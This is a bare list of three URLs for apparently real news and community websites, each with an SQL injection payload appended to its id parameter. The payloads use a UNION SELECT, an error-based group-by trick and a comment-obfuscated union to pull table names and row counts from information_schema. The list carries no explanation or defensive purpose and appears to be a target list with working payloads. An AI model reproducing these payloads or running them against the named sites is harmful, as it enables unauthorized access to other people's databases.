http://www.toxis.dk/8.0/news.php?id=40' union select 1,2,group_concat(table_name,0x3a,table_rows),4,5,6 ,7,8 from information_schema.tables-- 1

http://www.mesquitelocalnews.com/news.php?id=12)) or 1 group by concat((select table_name from information_schema.tables limit 17,1),floor(rand(0)*2))having min(0) or 1-- 1

http://www.melonfire.com/community/columns/trog/article.php?id=-280 /*!union*/ select 1,2,table_name,4,5,6 from information_schema.`tables`-- 1